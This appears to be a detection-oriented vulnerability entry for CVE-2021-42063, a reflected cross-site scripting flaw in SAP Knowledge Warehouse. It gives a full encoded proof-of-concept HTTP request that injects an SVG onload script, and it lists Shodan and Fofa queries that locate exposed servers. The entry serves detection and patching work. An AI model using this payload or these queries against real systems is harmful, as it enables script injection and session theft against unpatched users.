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CVE-2021-42063: SAP Knowledge Warehouse <=7.5.0 - Cross-Site Scripting

TitleSAP Knowledge Warehouse <=7.5.0 - Cross-Site Scripting
Authorpdteam
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
RemediationUpgrade to a patched version of SAP Knowledge Warehouse (>=7.5.1) to mitigate the XSS vulnerability.
CVSS Score6.1
EPSS Score0.40784
CVE IDCVE-2021-42063
CWE IDCWE-79
Shodan Queryhttp.favicon.hash:-266008933
Fofa Queryicon_hash=-266008933
Tags cve2021 cve sap xss seclists packetstorm vkev vuln

🔍 Vulnerability Description

SAP Knowledge Warehouse 7.30, 7.31, 7.40, and 7.50 contain a reflected cross-site scripting vulnerability via the usage of one SAP KW component within a web browser.

🌐 HTTP Request

GET /SAPIrExtHelp/random/SAPIrExtHelp/random/%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%34%26%23%31%31%36%28%26%23%78%36%34%26%23%78%36%66%26%23%78%36%33%26%23%78%37%35%26%23%78%36%64%26%23%78%36%35%26%23%78%36%65%26%23%78%37%34%26%23%78%32%65%26%23%78%36%34%26%23%78%36%66%26%23%78%36%64%26%23%78%36%31%26%23%78%36%39%26%23%78%36%65%29%3e.asp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-42063.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-42063.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A